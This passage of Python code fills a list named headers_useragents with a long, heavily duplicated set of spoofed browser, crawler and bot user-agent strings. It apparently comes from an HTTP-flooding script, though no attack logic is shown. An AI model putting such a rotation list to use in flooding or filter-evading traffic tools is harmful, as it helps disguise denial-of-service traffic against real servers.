  1388.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1389.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1390.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1391.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1392.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1393.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1394.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1395.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1396.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1397.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1398.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1399.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1400.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1401.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1402.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1403.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1404.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1405.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1406.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1407.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1408.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1409.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1410.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1411.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1412.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1413.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1414.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1415.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1416.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1417.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1418.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1419.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1420.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1421.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1422.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1423.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1426.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1427.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1428.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1429.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1430.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1431.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1432.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1435.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1436.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1438.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1439.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1440.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1441.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1443.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1444.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1445.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1446.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1447.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1448.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1449.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1450.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1451.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1452.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1453.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1455.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1456.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1457.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1458.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1459.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1460.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1461.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1462.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1463.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1464.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1465.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1466.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1467.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1468.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1469.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1470.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1471.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1472.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1473.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1474.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1475.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1476.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1477.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1478.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1480.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1481.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1482.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1483.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1484.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1485.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1486.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1487.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1488.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1489.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1490.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1491.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1492.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1493.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1494.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1495.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1496.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1497.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1498.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1499.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1500.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1501.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1502.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1503.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1506.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1507.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1508.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1509.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1510.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1511.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1512.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1513.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1515.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1518.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1519.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1520.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1521.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1522.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1523.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1524.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1525.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1526.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1527.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1528.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1530.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1531.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1532.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1533.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1534.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1535.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1536.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1537.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1538.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1539.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1540.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1541.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1542.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1543.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1544.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1545.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1546.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1547.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1548.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1549.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1550.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1551.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1552.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1553.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1554.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1555.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1556.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1557.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1558.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1559.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1560.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1561.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1562.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1563.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1564.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1565.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1566.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1567.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1568.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1569.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1570.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1571.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1572.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1573.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1574.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1575.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1576.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
